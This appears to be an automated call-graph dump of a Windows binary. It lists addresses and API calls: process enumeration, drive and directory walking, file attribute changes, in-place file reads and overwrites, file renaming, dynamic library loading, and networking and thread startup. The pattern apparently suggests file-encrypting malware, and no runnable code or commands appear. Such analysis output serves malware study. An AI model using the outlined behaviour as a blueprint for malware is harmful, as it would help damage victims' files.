10867->10865 11564 f23ff0 10867->11564 10869 f246b9 10868->10869 10871 f37a82 CatchGuardHandler 5 API calls 10869->10871 10873 f246c8 10871->10873 10873->9990 10874->10865 11568 f23fa0 10874->11568 10875 f24520 11576 f24030 10875->11576 10877 f222a0 6 API calls 10877->10875 10879 f246cc 10880 f23ff0 6 API calls 10879->10880 10882 f24723 10880->10882 10883 f23ff0 6 API calls 10882->10883 10891 f248f6 10883->10891 10884 f2491d 11572 f23f70 10884->11572 10889 f24ed0 wsprintfW 10889->10891 10891->10884 10891->10889 10892 f222a0 6 API calls 10891->10892 11580 f24070 10891->11580 10892->10891 10894 f34831 10893->10894 10895 f3465b Process32FirstW 10893->10895 10897 f37a82 CatchGuardHandler 5 API calls 10894->10897 10896 f3480a 10895->10896 10906 f3467b 10895->10906 10898 f3482e FindCloseChangeNotification 10896->10898 10900 f222a0 6 API calls 10896->10900 10899 f3134b 10897->10899 10898->10894 10899->10011 10899->10018 10901 f34825 10900->10901 10901->10898 10902 f347b1 lstrcmpiW 10904 f347f8 Process32NextW 10902->10904 10902->10906 10903 f222a0 6 API calls 10903->10906 10904->10896 10904->10906 10905 f39867 new 21 API calls 10905->10906 10906->10896 10906->10902 10906->10903 10906->10904 10906->10905 10908 f234a1 10907->10908 10909 f234b7 GetLogicalDriveStringsW 10907->10909 10910 f222a0 6 API calls 10908->10910 10911 f234c7 10909->10911 10912 f236fb 10909->10912 10913 f234ad 10910->10913 10914 f39867 new 21 API calls 10911->10914 10912->10013 10913->10909 10915 f234d4 ___scrt_fastfail 10914->10915 10915->10912 10916 f23510 GetLogicalDriveStringsW 10915->10916 10917 f222a0 6 API calls 10915->10917 10923 f23520 10916->10923 10918 f23506 10917->10918 10918->10916 10919 f222a0 6 API calls 10919->10923 10920 f235b9 10922 f2fdd0 8 API calls 10920->10922 10924 f2365f 10922->10924 10923->10919 10923->10920 10925 f237c0 24 API calls 10923->10925 11594 f37c92 10923->11594 10926 f236e6 10924->10926 10929 f2fdd0 8 API calls 10924->10929 10925->10923 10927 f39872 ___std_exception_destroy 22 API calls 10926->10927 10928 f236ee 10927->10928 10928->10013 10929->10924 10931 f237ce 10930->10931 10934 f237f5 10931->10934 11612 f37a35 10931->11612 10934->10029 10936 f37c92 new 22 API calls 10935->10936 10948 f35989 10936->10948 10937 f363a8 10938 f363ba 10937->10938 10939 f238c0 30 API calls 10937->10939 10940 f37a82 CatchGuardHandler 5 API calls 10938->10940 10939->10938 10941 f363c7 10940->10941 10941->10029 10944 f35a9d FindFirstFileW 10944->10948 10949 f35f02 10944->10949 10945 f222a0 6 API calls 10945->10948 10946 f2fdd0 8 API calls 10946->10948 10947 f36307 FindNextFileW 10947->10949 10951 f36319 10947->10951 10948->10937 10948->10944 10948->10945 10948->10946 10950 f238c0 30 API calls 10948->10950 11638 f34850 10948->11638 11650 f35750 10948->11650 10949->10947 10958 f237c0 24 API calls 10949->10958 10960 f34a10 30 API calls 10949->10960 10961 f37c92 new 22 API calls 10949->10961 10962 f37620 31 API calls 10949->10962 10963 f238c0 30 API calls 10949->10963 10964 f222a0 6 API calls 10949->10964 11676 f34c90 10949->11676 11680 f353a0 10949->11680 10950->10948 10952 f238c0 30 API calls 10951->10952 10956 f3634d 10951->10956 10952->10956 10955 f363a0 FindClose 10955->10937 10956->10955 10957 f222a0 6 API calls 10956->10957 10959 f36394 10957->10959 10958->10949 10959->10955 10960->10949 10961->10949 10962->10949 10963->10949 10964->10949 10966 f338f9 WSAStartup 10965->10966 10967 f338df 10965->10967 10969 f33916 10966->10969 10970 f33922 10966->10970 10968 f222a0 6 API calls 10967->10968 10971 f338ec 10968->10971 10972 f222a0 6 API calls 10969->10972 11736 f31c70 10970->11736 10971->10966 10972->10970 10974 f3393b 10975 f33943 10974->10975 10976 f33a8e 10974->10976 10979 f2fdd0 8 API calls 10975->10979 11753 f31bd0 10976->11753 10981 f33a86 10979->10981 10980 f33aae 10983 f33ad2 10980->10983 10984 f33cc5 10980->10984 10986 f222a0 6 API calls 10981->10986 10994 f34236 10981->10994 10982 f222a0 6 API calls 10982->10980 10988 f2fdd0 8 API calls 10983->10988 11765 f31d80 10984->11765 10986->10994 10987 f33cff 10989 f33d07 10987->10989 10990 f33e36 10987->10990 10988->10981 11004 f2fdd0 8 API calls 10989->11004 10993 f33e58 CreateThread 10990->10993 10999 f222a0 6 API calls 10990->10999 10991 f3426d 10992 f34297 10991->10992 11002 f222a0 6 API calls 10991->11002 10998 f342c1 10992->10998 11007 f222a0 6 API calls 10992->11007 10996 f34006 10993->10996 10997 f33e74 10993->10997 11871 f32a30 10993->11871 10994->10991 10995 f222a0 6 API calls 10994->10995 10995->10991 11803 f301a0 10996->11803 11008 f2fdd0 8 API calls 10997->11008 11001 f342eb 10998->11001 11005 f222a0 6 API calls 10998->11005 11000 f33e4e 10999->11000 11000->10993 11012 f37a82 CatchGuardHandler 5 API calls 11001->11012 11002->10992 11004->10981 11005->11001 11006 f34015 11009 f34020 11006->11009 11010 f341f5 11006->11010 11007->10998 11008->10981 11016 f2fdd0 8 API calls 11009->11016 11808 f31b80 11010->11808 11014 f34306 11012->11014 11014->10028 11016->10981 11019 f3420f 11020 f23ee0 6 API calls 11019->11020 11020->10981 11022 f2230f 11021->11022 11023 f226f0 LoadLibraryA 11022->11023 11024 f22721 11022->11024 11023->11024 11025 f226fa 11023->11025 11026 f37a82 CatchGuardHandler 5 API calls 11024->11026 11027 f221e0 5 API calls 11025->11027 11028 f22730 11026->11028 11029 f22708 11027->11029 11028->9965 11030 f37a82 CatchGuardHandler 5 API calls 11029->11030 11031 f2271b 11030->11031 11031->9965 11033 f32640 11032->11033 11034 f222a0 6 API calls 11033->11034 11035 f3268c 11033->11035 11045 f3269d ___scrt_fastfail 11033->11045 11034->11033 11037 f37a82 CatchGuardHandler 5 API calls 11035->11037 11036 f329ea 11038 f32a0b 11036->11038 11040 f222a0 6 API calls 11036->11040 11039 f32699 11037->11039 11042 f37a82 CatchGuardHandler 5 API calls 11038->11042 11039->10025 11040->11038 11041 f39867 new 21 API calls 11041->11045 11043 f32a27 11042->11043 11043->10025 11044 f222a0 6 API calls 11044->11045 11045->11036 11045->11041 11045->11044 11046 f2fdd0 8 API calls 11045->11046 11046->11045 11050 f37599 11047->11050 11048 f237c0 24 API calls 11048->11050 11049 f375e2 11051 f222a0 6 API calls 11049->11051 11053 f37604 11049->11053 11050->11048 11050->11049 11052 f37620 31 API calls 11050->11052 11050->11053 11051->11053 11052->11050 11053->10040 11055 f3762b 11054->11055 11056 f37c92 new 22 API calls 11055->11056 11062 f376fc 11055->11062 11057 f37653 11056->11057 11060 f222a0 6 API calls 11057->11060 11061 f3769b 11057->11061 11058 f37724 11058->10040 11059 f238c0 30 API calls 11059->11058 11060->11061 11061->11062 11063 f222a0 6 API calls 11061->11063 11062->11058 11062->11059 11063->11062 11065 f22252 11064->11065 11066 f2220c 11064->11066 11065->10726 11066->11065 11066->11066 11068 f22264 11066->11068 11078 f23d50 11066->11078 11069 f22287 11068->11069 11082 f220b0 11068->11082 11069->10726 11076 f3adb7 pre_c_initialization 11071->11076 11072 f3adf5 11073 f3b502 __dosmaperr 20 API calls 11072->11073 11075 f3adf3 11073->11075 11074 f3ade0 RtlAllocateHeap 11074->11075 11074->11076 11075->10729 11076->11072 11076->11074 11077 f39ae6 new 7 API calls 11076->11077 11077->11076 11079 f23d70 11078->11079 11080 f37a82 CatchGuardHandler 5 API calls 11079->11080 11081 f23e91 11080->11081 11081->11066 11083 f220e3 11082->11083 11086 f220f4 11082->11086 11084 f37a82 CatchGuardHandler 5 API calls 11083->11084 11085 f220f0 11084->11085 11085->11069 11087 f2211c 11086->11087 11090 f2212e 11086->11090 11088 f37a82 CatchGuardHandler 5 API calls 11087->11088 11089 f2212a 11088->11089 11089->11069 11091 f22181 11090->11091 11092 f221a5 11090->11092 11095 f222a0 6 API calls 11091->11095 11093 f23d50 5 API calls 11092->11093 11094 f221bd 11093->11094 11096 f222a0 6 API calls 11094->11096 11097 f22195 11095->11097 11098 f221cb 11096->11098 11099 f37a82 CatchGuardHandler 5 API calls 11097->11099 11101 f37a82 CatchGuardHandler 5 API calls 11098->11101 11100 f221a1 11099->11100 11100->11069 11102 f221d7 11101->11102 11102->11069 11104 f22eff 11103->11104 11104->10734 11104->11104 11106 f22e9f 11105->11106 11106->10738 11106->11106 11108 f22e3f 11107->11108 11108->10740 11108->11108 11110 f22ddf 11109->11110 11110->10742 11110->11110 11112 f22d7f 11111->11112 11112->10744 11112->11112 11114 f22d1f 11113->11114 11114->10746 11114->11114 11116 f21e07 LoadLibraryA 11115->11116 11117 f22c50 11116->11117 11118 f21e52 LoadLibraryA 11117->11118 11118->10751 11118->10752 11144 f21a10 11119->11144 11123 f21221 GetProcAddress 11124 f2123a 11123->11124 11125 f212a6 GetProcAddress CreateFileW 11124->11125 11126 f212cf 11125->11126 11127 f217d6 11125->11127 11129 f2133b GetProcAddress 11126->11129 11128 f37a82 CatchGuardHandler 5 API calls 11127->11128 11130 f217e9 11128->11130 11148 f218b0 11129->11148 11130->10754 11133 f213c2 11133->11127 11134 f2146d GetProcAddress CreateFileMappingW 11133->11134 11134->11127 11135 f21491 11134->11135 11136 f2150b GetProcAddress MapViewOfFile 11135->11136 11136->11127 11142 f21535 11136->11142 11137 f21608 GetProcAddress 11137->11142 11138 f217c5 11139 f37a82 CatchGuardHandler 5 API calls 11138->11139 11140 f217d2 11139->11140 11140->10754 11141 f21746 GetProcAddress 11143 f21769 11141->11143 11142->11127 11142->11137 11142->11138 11142->11141 11142->11142 11143->11127 11143->11142 11145 f21175 LoadLibraryA 11144->11145 11146 f219b0 11145->11146 11147 f219bf 11146->11147 11147->11123 11147->11147 11149 f213ad GetProcAddress 11148->11149 11149->11133 11151 f30511 11150->11151 11153 f3051a 11150->11153 11151->10785 11152 f222a0 6 API calls 11152->11153 11153->11152 11154 f30565 11153->11154 11154->10785 11156 f301f2 11155->11156 11157 f30200 11155->11157 11158 f222a0 6 API calls 11156->11158 11157->10808 11158->11157 11160 f30234 11159->11160 11163 f30242 11159->11163 11161 f222a0 6 API calls 11160->11161 11161->11163 11162 f304e2 11165 f37a82 CatchGuardHandler 5 API calls 11162->11165 11163->11162 11164 f30285 11163->11164 11167 f222a0 6 API calls 11163->11167 11168 f302d2 11164->11168 11169 f30299 11164->11169 11166 f304f1 11165->11166 11166->10792 11167->11164 11171 f30315 11168->11171 11172 f302dc 11168->11172 11170 f302b3 11169->11170 11173 f222a0 6 API calls 11169->11173 11178 f37a82 CatchGuardHandler 5 API calls 11170->11178 11174 f39867 new 21 API calls 11171->11174 11175 f302f6 11172->11175 11176 f222a0 6 API calls 11172->11176 11173->11170 11183 f3031b ___scrt_fastfail 11174->11183 11179 f37a82 CatchGuardHandler 5 API calls 11175->11179 11176->11175 11177 f304db 11181 f23f40 6 API calls 11177->11181 11180 f302ce 11178->11180 11182 f30311 11179->11182 11180->10792 11181->11162 11182->10792 11183->11177 11207 f23ea0 11183->11207 11186 f304af 11187 f39872 ___std_exception_destroy 22 API calls 11186->11187 11188 f304ba 11187->11188 11218 f23f40 11188->11218 11190 f21a70 21 API calls 11197 f3036d 11190->11197 11192 f37a82 CatchGuardHandler 5 API calls 11193 f304d7 11192->11193 11193->10792 11194 f304a9 11195 f39872 ___std_exception_destroy 22 API calls 11194->11195 11195->11186 11196 f222a0 6 API calls 11196->11197 11197->11186 11197->11190 11197->11194 11197->11196 11211 f39872 11197->11211 11200 f2fc55 11199->11200 11203 f2fc63 11199->11203 11201 f222a0 6 API calls 11200->11201 11201->11203 11202 f2fd4b 11205 f2fd92 11202->11205 11206 f222a0 6 API calls 11202->11206 11203->11202 11204 f222a0 6 API calls 11203->11204 11204->11202 11205->10794 11206->11205 11208 f23eb5 11207->11208 11210 f23ec3 11207->11210 11209 f222a0 6 API calls 11208->11209 11209->11210 11210->11177 11210->11197 11212 f3ad7d 11211->11212 11213 f3ad88 RtlFreeHeap 11212->11213 11217 f3adb1 __dosmaperr 11212->11217 11214 f3ad9d 11213->11214 11213->11217 11215 f3b502 __dosmaperr 20 API calls 11214->11215 11216 f3ada3 GetLastError 11215->11216 11216->11217 11217->11197 11219 f23f5d 11218->11219 11220 f23f4f 11218->11220 11219->11192 11221 f222a0 6 API calls 11220->11221 11221->11219 11223 f370e9 VirtualAlloc 11222->11223 11224 f370cf 11222->11224 11226 f37101 11223->11226 11227 f3711f 11223->11227 11225 f222a0 6 API calls 11224->11225 11228 f370dd 11225->11228 11226->11227 11230 f222a0 6 API calls 11226->11230 11245 f36a10 11227->11245 11228->11223 11230->11227 11232 f3715c 11233 f222a0 6 API calls 11232->11233 11235 f37191 11232->11235 11233->11235 11234 f222a0 6 API calls 11234->11232 11236 f222a0 6 API calls 11235->11236 11238 f371d7 11235->11238 11236->11238 11237 f371e5 Sleep 11237->11238 11238->11237 11239 f222a0 6 API calls 11238->11239 11242 f373d2 FindCloseChangeNotification 11238->11242 11255 f2ecd0 11238->11255 11309 f2efc0 11238->11309 11315 f238c0 11238->11315 11239->11238 11287 f2c5f0 11242->11287 11246 f36b04 11245->11246 11247 f222a0 6 API calls 11246->11247 11248 f36b25 11246->11248 11247->11248 11249 f222a0 6 API calls 11248->11249 11250 f36c55 11248->11250 11253 f36b42 11248->11253 11249->11250 11251 f222a0 6 API calls 11250->11251 11252 f36e4f 11250->11252 11250->11253 11251->11252 11252->11253 11254 f222a0 6 API calls 11252->11254 11253->11232 11253->11234 11254->11253 11339 f2c730 11255->11339 11257 f2ecec 11258 f2eee4 11257->11258 11259 f2ecf4 11257->11259 11353 f2d670 11258->11353 11261 f222a0 6 API calls 11259->11261 11264 f2ed0e 11259->11264 11261->11264 11262 f2eed6 11262->11238 11263 f2eeeb 11263->11262 11266 f2ef2e 11263->11266 11413 f2b530 11263->11413 11264->11264 11265 f2fdd0 8 API calls 11264->11265 11265->11262 11417 f2c8f0 11266->11417 11270 f2ef39 11270->11262 11454 f2eb70 11270->11454 11271 f2ef05 11274 f2c8f0 13 API calls 11271->11274 11272 f2ef1b 11272->11266 11275 f2ef87 11272->11275 11278 f2ef52 11272->11278 11279 f2ef10 11274->11279 11276 f2c8f0 13 API calls 11275->11276 11276->11279 11278->11275 11281 f2ef5f 11278->11281 11279->11262 11474 f2e8f0 11279->11474 11283 f2c8f0 13 API calls 11281->11283 11282 f2efa8 11282->11238 11284 f2ef6a 11283->11284 11284->11262 11464 f2e7a0 11284->11464 11288 f2c600 11287->11288 11289 f2c60e 11287->11289 11290 f222a0 6 API calls 11288->11290 11291 f2c63f RtlAllocateHeap 11289->11291 11292 f222a0 6 API calls 11289->11292 11290->11289 11293 f2c652 11291->11293 11294 f2c64f 11291->11294 11295 f2c636 11292->11295 11296 f2c66c 11293->11296 11297 f222a0 6 API calls 11293->11297 11294->11238 11295->11291 11298 f2c693 11296->11298 11299 f222a0 6 API calls 11296->11299 11297->11296 11300 f2c6c7 MoveFileW 11298->11300 11301 f222a0 6 API calls 11298->11301 11299->11298 11302 f2c6d7 11300->11302 11306 f2c6e5 11300->11306 11303 f2c6be 11301->11303 11304 f222a0 6 API calls 11302->11304 11303->11300 11304->11306 11305 f2c716 RtlFreeHeap 11305->11238 11306->11305 11307 f222a0 6 API calls 11306->11307 11308 f2c70d 11307->11308 11308->11305 11310 f2efd0 11309->11310 11311 f2f017 FindCloseChangeNotification 11310->11311 11312 f222a0 6 API calls 11310->11312 11313 f2f021 11310->11313 11311->11313 11314 f2f00e 11312->11314 11313->11238 11314->11311 11316 f23900 11315->11316 11319 f238d0 11315->11319 11554 f39a82 11316->11554 11318 f23919 11320 f2398a 11318->11320 11323 f2392f 11318->11323 11319->11238 11321 f37a35 std::_Xinvalid_argument 24 API calls 11320->11321 11322 f23994 11321->11322 11326 f239b9 11322->11326 11328 f37a55 24 API calls 11322->11328 11324 f23934 11323->11324 11325 f23750 30 API calls 11323->11325 11324->11238 11327 f23962 11325->11327 11329 f23a10 11326->11329 11331 f37a55 24 API calls 11326->11331 11332 f239d3 11326->11332 11327->11238 11328->11326 11330 f37a35 std::_Xinvalid_argument 24 API calls 11329->11330 11335 f23a1c 11329->11335 11333 f23ad0 11330->11333 11331->11329 11332->11238 11334 f23cf0 22 API calls 11333->11334 11337 f23b5b 11334->11337 11335->11238 11336 f238c0 30 API calls 11338 f23bd3 11336->11338 11337->11336 11337->11338 11338->11238 11340 f2c764 11339->11340 11343 f2c773 11339->11343 11341 f222a0 6 API calls 11340->11341 11341->11343 11342 f2c78c 11344 f37a82 CatchGuardHandler 5 API calls 11342->11344 11343->11342 11345 f222a0 6 API calls 11343->11345 11347 f2c7bf 11343->11347 11346 f2c79b 11344->11346 11345->11347 11346->11257 11347->11342 11348 f2c7da 11347->11348 11349 f2c8aa 11348->11349 11350 f222a0 6 API calls 11348->11350 11351 f37a82 CatchGuardHandler 5 API calls 11349->11351 11350->11349 11352 f2c8e1 11351->11352 11352->11257 11354 f2d696 11353->11354 11355 f2d6ad GetFileAttributesW 11353->11355 11356 f222a0 6 API calls 11354->11356 11357 f2d6b7 11355->11357 11358 f2d6e9 11355->11358 11359 f2d6a4 11356->11359 11357->11358 11363 f2d6e2 SetFileAttributesW 11357->11363 11366 f222a0 6 API calls 11357->11366 11360 f2d70e CreateFileW 11358->11360 11361 f222a0 6 API calls 11358->11361 11359->11355 11362 f2d72f 11360->11362 11368 f2d73d 11360->11368 11364 f2d705 11361->11364 11365 f222a0 6 API calls 11362->11365 11363->11358 11364->11360 11365->11368 11367 f2d6d9 11366->11367 11367->11363 11369 f2e44d 11368->11369 11371 f2d9c1 11368->11371 11373 f2d769 11368->11373 11370 f2e46a 11369->11370 11372 f222a0 6 API calls 11369->11372 11376 f2e4a6 11370->11376 11377 f2e48a 11370->11377 11374 f2fdd0 8 API calls 11371->11374 11372->11370 11375 f222a0 6 API calls 11373->11375 11383 f2d783 11373->11383 11378 f2dc49 11374->11378 11375->11383 11380 f222a0 6 API calls 11376->11380 11390 f2e4c0 11376->11390 11379 f37a82 CatchGuardHandler 5 API calls 11377->11379 11489 f2c0a0 11378->11489 11382 f2e4a2 11379->11382 11380->11390 11382->11263 11383->11383 11384 f2fdd0 8 API calls 11383->11384 11388 f2d9ab 11384->11388 11385 f2dc53 11386 f2e0c1 11385->11386 11387 f2dc5b 11385->11387 11394 f222a0 6 API calls 11386->11394 11400 f2e0db 11386->11400 11392 f2fdd0 8 API calls 11387->11392 11389 f37a82 CatchGuardHandler 5 API calls 11388->11389 11393 f2d9bd 11389->11393 11390->11390 11391 f2fdd0 8 API calls 11390->11391 11395 f2e77d FindCloseChangeNotification 11391->11395 11396 f2ddbf 11392->11396 11393->11263 11394->11400 11397 f37a82 CatchGuardHandler 5 API calls 11395->11397 11399 f2ddde 11396->11399 11402 f222a0 6 API calls 11396->11402 11398 f2e798 11397->11398 11398->11263 11399->11369 11405 f2de05 11399->11405 11400->11400 11401 f2fdd0 8 API calls 11400->11401 11403 f2e437 11401->11403 11402->11399 11404 f37a82 CatchGuardHandler 5 API calls 11403->11404 11406 f2e449 11404->11406 11407 f222a0 6 API calls 11405->11407 11408 f2de1f 11405->11408 11406->11263 11407->11408 11408->11408 11409 f2fdd0 8 API calls 11408->11409 11410 f2e0ab 11409->11410 11411 f37a82 CatchGuardHandler 5 API calls 11410->11411 11412 f2e0bd 11411->11412 11412->11263 11414 f2b578 11413->11414 11415 f222a0 6 API calls 11414->11415 11416 f2bfce 11414->11416 11415->11414 11416->11271 11416->11272 11418 f2c921 11417->11418 11418->11418 11419 f2c960 SetFilePointerEx 11418->11419 11420 f222a0 6 API calls 11418->11420 11421 f2c97b 11419->11421 11426 f2cb9d 11419->11426 11422 f2c957 11420->11422 11424 f222a0 6 API calls 11421->11424 11436 f2c995 11421->11436 11422->11419 11423 f2cbe3 WriteFile 11423->11426 11427 f2d32b 11423->11427 11424->11436 11425 f222a0 6 API calls 11425->11426 11426->11423 11426->11425 11426->11427 11432 f2cc19 11426->11432 11428 f222a0 6 API calls 11427->11428 11427->11436 11428->11436 11429 f2fdd0 8 API calls 11430 f2d64c 11429->11430 11434 f37a82 CatchGuardHandler 5 API calls 11430->11434 11431 f2cc53 WriteFile 11431->11432 11433 f2d005 11431->11433 11432->11431 11432->11433 11435 f222a0 6 API calls 11432->11435 11438 f2cc86 11432->11438 11433->11436 11439 f222a0 6 API calls 11433->11439 11437 f2d65e 11434->11437 11435->11432 11436->11429 11437->11270 11440 f2ccaf SetEndOfFile 11438->11440 11441 f222a0 6 API calls 11438->11441 11439->11436 11442 f2ccc1 11440->11442 11443 f2ccd8 SetFilePointerEx 11440->11443 11444 f2cca6 11441->11444 11445 f222a0 6 API calls 11442->11445 11446 f2cfed 11443->11446 11447 f2ccf5 11443->11447 11444->11440 11449 f2cccf 11445->11449 11448 f37a82 CatchGuardHandler 5 API calls 11446->11448 11536 f23f10 11447->11536 11451 f2cfff 11448->11451 11449->11443 11451->11270 11455 f2ecb5 11454->11455 11462 f2ebab 11454->11462 11456 f37a82 CatchGuardHandler 5 API calls 11455->11456 11457 f2ecc7 11456->11457 11457->11238 11458 f2ec05 ReadFile 11458->11455 11458->11462 11459 f222a0 6 API calls 11459->11462 11461 f2ec76 SetFilePointerEx 11461->11455 11461->11462 11462->11455 11462->11458 11462->11459 11462->11461 11540 f22f50 11462->11540 11544 f2bff0 11462->11544 11468 f2e7d0 11464->11468 11465 f2e81b ReadFile 11467 f2e8d2 11465->11467 11465->11468 11466 f222a0 6 API calls 11466->11468 11469 f37a82 CatchGuardHandler 5 API calls 11467->11469 11468->11465 11468->11466 11468->11467 11471 f22f50 5 API calls 11468->11471 11472 f2e894 SetFilePointerEx 11468->11472 11473 f2bff0 7 API calls 11468->11473 11470 f2e8e4 11469->11470 11470->11238 11471->11468 11472->11467 11472->11468 11473->11468 11475 f2e919 11474->11475 11486 f2e932 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 11474->11486 11476 f2e91d 11475->11476 11475->11486 11477 f37a82 CatchGuardHandler 5 API calls 11476->11477 11478 f2e92c 11477->11478 11478->11282 11479 f2ea02 SetFilePointerEx 11480 f2eb4e 11479->11480 11479->11486 11481 f37a82 CatchGuardHandler 5 API calls 11480->11481 11482 f2eb60 11481->11482 11482->11282 11483 f2ea81 ReadFile 11483->11486 11484 f222a0 6 API calls 11484->11486 11485 f22f50 5 API calls 11485->11486 11486->11479 11486->11480 11486->11483 11486->11484 11486->11485 11487 f2eaf6 SetFilePointerEx 11486->11487 11488 f2bff0 7 API calls 11486->11488 11487->11486 11488->11486 11490 f2c0c6 11489->11490 11492 f2c243 11489->11492 11491 f2fdd0 8 API calls 11490->11491 11493 f2c22d 11491->11493 11494 f222a0 6 API calls 11492->11494 11499 f2c277 11492->11499 11495 f37a82 CatchGuardHandler 5 API calls 11493->11495 11494->11499 11497 f2c23f 11495->11497 11496 f2c53b 11498 f37a82 CatchGuardHandler 5 API calls 11496->11498 11497->11385 11500 f2c559 11498->11500 11499->11496 11501 f222a0 6 API calls 11499->11501 11503 f2c2b7 11499->11503 11500->11385 11501->11503 11502 f2c51a 11502->11496 11504 f222a0 6 API calls 11502->11504 11503->11502 11503->11503 11505 f222a0 6 API calls 11503->11505 11506 f2c31b 11503->11506 11504->11496 11505->11506 11508 f2c59b 11506->11508 11509 f2c36d 11506->11509 11511 f222a0 6 API calls 11506->11511 11507 f2c5ca 11512 f37a82 CatchGuardHandler 5 API calls 11507->11512 11508->11507 11510 f222a0 6 API calls 11508->11510 11514 f222a0 6 API calls 11509->11514 11515 f2c393 11509->11515 11510->11507 11511->11509 11513 f2c5e9 11512->11513 11513->11385 11514->11515 11515->11508 11516 f222a0 6 API calls 11515->11516 11519 f2c3d2 11515->11519 11516->11519 11517 f2c55d 11518 f2c575 11517->11518 11520 f222a0 6 API calls 11517->11520 11518->11508 11523 f222a0 6 API calls 11518->11523 11519->11517 11521 f2c418 11519->11521 11522 f222a0 6 API calls 11519->11522 11520->11518 11524 f2c448 GetProcessId 11521->11524 11526 f222a0 6 API calls 11521->11526 11522->11521 11523->11508 11525 f2c494 11524->11525 11530 f2c457 11524->11530 11528 f2c4b3 11525->11528 11529 f222a0 6 API calls 11525->11529 11527 f2c43e 11526->11527 11527->11524 11531 f2c4e4 11528->11531 11532 f222a0 6 API calls 11528->11532 11529->11528 11530->11517 11530->11525 11533 f2c514 RtlFreeHeap 11531->11533 11534 f222a0 6 API calls 11531->11534 11532->11531 11533->11502 11535 f2c50a 11534->11535 11535->11533 11537 f23f2a 11536->11537 11538 f23f1c 11536->11538 11537->11537 11539 f222a0 6 API calls 11538->11539 11539->11537 11543 f22f8a 11540->11543 11541 f37a82 CatchGuardHandler 5 API calls 11542 f23474 11541->11542 11542->11462 11543->11541 11543->11543 11545 f2c06b 11544->11545 11546 f2c019 11544->11546 11547 f37a82 CatchGuardHandler 5 API calls 11545->11547 11546->11545 11548 f2c043 WriteFile 11546->11548 11550 f222a0 6 API calls 11546->11550 11551 f2c083 11546->11551 11549 f2c07d 11547->11549 11548->11546 11548->11551 11549->11462 11550->11546 11552 f37a82 CatchGuardHandler 5 API calls 11551->11552 11553 f2c092 11552->11553 11553->11462 11555 f39a91 11554->11555 11558 f39a9f IsProcessorFeaturePresent 11555->11558 11557 f39a9e 11559 f39aaa 11558->11559 11560 f398a8 _abort 8 API calls 11559->11560 11561 f39abf GetCurrentProcess TerminateProcess 11560->11561 11561->11557 11563 f30125 11562->11563 11563->10835 11563->11563 11565 f24002 11564->11565 11566 f24011 11564->11566 11567 f222a0 6 API calls 11565->11567 11566->10875 11566->10877 11567->11566 11569 f23fb2 11568->11569 11570 f23fc1 11568->11570 11571 f222a0 6 API calls 11569->11571 11570->10865 11570->10879 11571->11570 11573 f23f8e 11572->11573 11574 f23f7f 11572->11574 11573->11573 11575 f222a0 6 API calls 11574->11575 11575->11573 11577 f24042 11576->11577 11578 f24051 11576->11578 11579 f222a0 6 API calls 11577->11579 11578->10864 11579->11578 11581 f24091 11580->11581 11582 f24100 11581->11582 11583 f222a0 6 API calls 11581->11583 11584 f222a0 6 API calls 11582->11584 11586 f2412d 11582->11586 11583->11582 11584->11586 11585 f241e3 11588 f37a82 CatchGuardHandler 5 API calls 11585->11588 11586->11585 11587 f24186 11586->11587 11589 f222a0 6 API calls 11586->11589 11591 f241b7 11587->11591 11592 f222a0 6 API calls 11587->11592 11590 f241fa 11588->11590 11589->11587 11590->10891 11591->11585 11593 f222a0 6 API calls 11591->11593 11592->11591 11593->11585 11598 f37c97 11594->11598 11595 f39867 new 21 API calls 11595->11598 11596 f37cc3 11596->10923 11597 f39ae6 new 7 API calls 11597->11598 11598->11595 11598->11596 11598->11597 11601 f37fa8 11598->11601 11605 f37f8b 11598->11605 11602 f37fb6 new 11601->11602 11609 f38d56 11602->11609 11604 f37fc4 11606 f37f99 Concurrency::cancel_current_task 11605->11606 11607 f38d56 __CxxThrowException@8 RaiseException 11606->11607 11608 f37fa7 11607->11608 11611 f38d76 11609->11611 11610 f38da8 RaiseException 11610->11604 11611->11610 11617 f379ac 11612->11617 11615 f38d56 __CxxThrowException@8 RaiseException 11616 f37a54 11615->11616 11620 f3795a 11617->11620 11623 f38cd4 11620->11623 11624 f38ce1 11623->11624 11630 f37986 11623->11630 11625 f39867 new 21 API calls 11624->11625 11624->11630 11626 f38cfe 11625->11626 11627 f38d0e 11626->11627 11631 f3ad23 11626->11631 11629 f39872 ___std_exception_destroy 22 API calls 11627->11629 11629->11630 11630->11615 11632 f3ad3e 11631->11632 11633 f3ad30 11631->11633 11634 f3b502 __dosmaperr 20 API calls 11632->11634 11633->11632 11635 f3ad55 11633->11635 11636 f3ad46 pre_c_initialization 11634->11636 11635->11636 11637 f3b502 __dosmaperr 20 API calls 11635->11637 11636->11627 11637->11636 11639 f348da 11638->11639 11640 f34878 11638->11640 11642 f36700 24 API calls 11639->11642 11686 f36700 11640->11686 11644 f348d3 ___BuildCatchObject 11642->11644 11643 f349bb 11645 f349e6 11643->11645 11648 f238c0 30 API calls 11643->11648 11644->11643 11646 f238c0 30 API calls 11644->11646 11647 f349f8 11645->11647 11649 f238c0 30 API calls 11645->11649 11646->11643 11647->10948 11648->11645 11649->11647 11651 f357c9 11650->11651 11652 f237c0 24 API calls 11651->11652 11653 f35809 11652->11653 11716 f34a10 11653->11716 11656 f35863 CreateFileW 11658 f35880 11656->11658 11659 f35905 11656->11659 11657 f222a0 6 API calls 11660 f3585a 11657->11660 11662 f222a0 6 API calls 11658->11662 11669 f3589a 11658->11669 11661 f35917 11659->11661 11664 f238c0 30 API calls 11659->11664 11660->11656 11663 f35939 11661->11663 11665 f238c0 30 API calls 11661->11665 11662->11669 11666 f37a82 CatchGuardHandler 5 API calls 11663->11666 11664->11661 11665->11663 11667 f35945 11666->11667 11667->10948 11668 f358d0 WriteFile 11671 f35902 FindCloseChangeNotification 11668->11671 11672 f358eb 11668->11672 11669->11668 11670 f222a0 6 API calls 11669->11670 11673 f358c7 11670->11673 11671->11659 11674 f222a0 6 API calls 11672->11674 11673->11668 11675 f358f9 11674->11675 11675->11671 11677 f34cd0 11676->11677 11678 f222a0 6 API calls 11677->11678 11679 f3537e 11677->11679 11678->11677 11679->10949 11681 f353e8 11680->11681 11682 f222a0 6 API calls 11681->11682 11684 f356d4 11681->11684 11682->11684 11683 f222a0 6 API calls 11683->11684 11684->11683 11685 f3572e 11684->11685 11685->10949 11688 f3672c 11686->11688 11690 f367d0 11688->11690 11689 f36780 11689->11644 11691 f368b9 11690->11691 11692 f367e9 11690->11692 11708 f37a55 11691->11708 11694 f36805 11692->11694 11695 f37a35 std::_Xinvalid_argument 24 API calls 11692->11695 11696 f37a35 